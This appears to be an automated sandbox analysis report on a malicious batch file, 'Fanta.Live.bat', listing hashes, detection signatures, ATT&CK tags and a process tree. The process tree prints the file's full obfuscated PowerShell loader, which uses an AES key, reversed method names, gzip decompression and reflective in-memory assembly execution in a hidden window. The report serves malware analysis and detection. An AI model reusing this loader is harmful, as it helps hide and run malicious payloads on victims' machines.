1731919d2dc81ad27833aaaf162c923c8c0e9ec12f0517c7db0409b74e9550c6

Analysis

max time kernel
117s
max time network
136s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
01-07-2024 18:28

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General

Target

zvgfd-main/Fanta.Live.bat
Size

470KB
MD5

7d81002800c60fb2b26946fc534b8987
SHA1

085d813ec8bf7f691d48a78011938b4a9f24b5e9
SHA256

0a2bc7043be8903606338c714d20d132b877001c2789f368b30dae44aa80d888
SHA512

b16f7ff8bb002954dd2cc6732a122c25b2b66a75bc26800f1b031014a67a5f5f494b7f2ef1457b5cc93cf4d3a6fe62db3c51812ea413f430bdde144a3b06aa8e
SSDEEP

12288:GUMoYDGcH1BKxCob3At/nb5mdrKIegQ25Mf0/FhP:DUD9HHKlb3Qdm5KIA2p

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2128 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2128 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2128 powershell.exe

pid	process
2128	powershell.exe

pid	process
2128	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2128	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1732 wrote to memory of 1104	1732	cmd.exe	cmd.exe
PID 1732 wrote to memory of 1104	1732	cmd.exe	cmd.exe
PID 1732 wrote to memory of 1104	1732	cmd.exe	cmd.exe
PID 1732 wrote to memory of 2128	1732	cmd.exe	powershell.exe
PID 1732 wrote to memory of 2128	1732	cmd.exe	powershell.exe
PID 1732 wrote to memory of 2128	1732	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Fanta.Live.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1732

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZV95zl/ITrrxGrdsAimI2fwOP1zOtvHSQ193ReYto+k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bvkPHp90/lTTmNOsSK9ONg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WrCYx=New-Object System.IO.MemoryStream(,$param_var); $hOItm=New-Object System.IO.MemoryStream; $JSqsS=New-Object System.IO.Compression.GZipStream($WrCYx, [IO.Compression.CompressionMode]::Decompress); $JSqsS.CopyTo($hOItm); $JSqsS.Dispose(); $WrCYx.Dispose(); $hOItm.Dispose(); $hOItm.ToArray();}function execute_function($param_var,$param2_var){ $DVlGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $euKiJ=$DVlGZ.EntryPoint; $euKiJ.Invoke($null, $param2_var);}$nLwlA = 'C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Fanta.Live.bat';$host.UI.RawUI.WindowTitle = $nLwlA;$lbBUo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nLwlA).Split([Environment]::NewLine);foreach ($BNDvA in $lbBUo) { if ($BNDvA.StartsWith('QpwAfllqiaJfGjCUaDLA')) { $GHscV=$BNDvA.Substring(20); break; }}$payloads_var=[string[]]$GHscV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:1104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2128

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2128-4-0x000007FEF5E4E000-0x000007FEF5E4F000-memory.dmp

Filesize
4KB

Download
memory/2128-6-0x00000000024A0000-0x00000000024A8000-memory.dmp

Filesize
32KB

Download
memory/2128-5-0x000000001B150000-0x000000001B432000-memory.dmp

Filesize
2.9MB

Download
memory/2128-7-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/2128-8-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/2128-9-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/2128-10-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/2128-11-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/2128-12-0x000007FEF5E4E000-0x000007FEF5E4F000-memory.dmp

Filesize
4KB

Download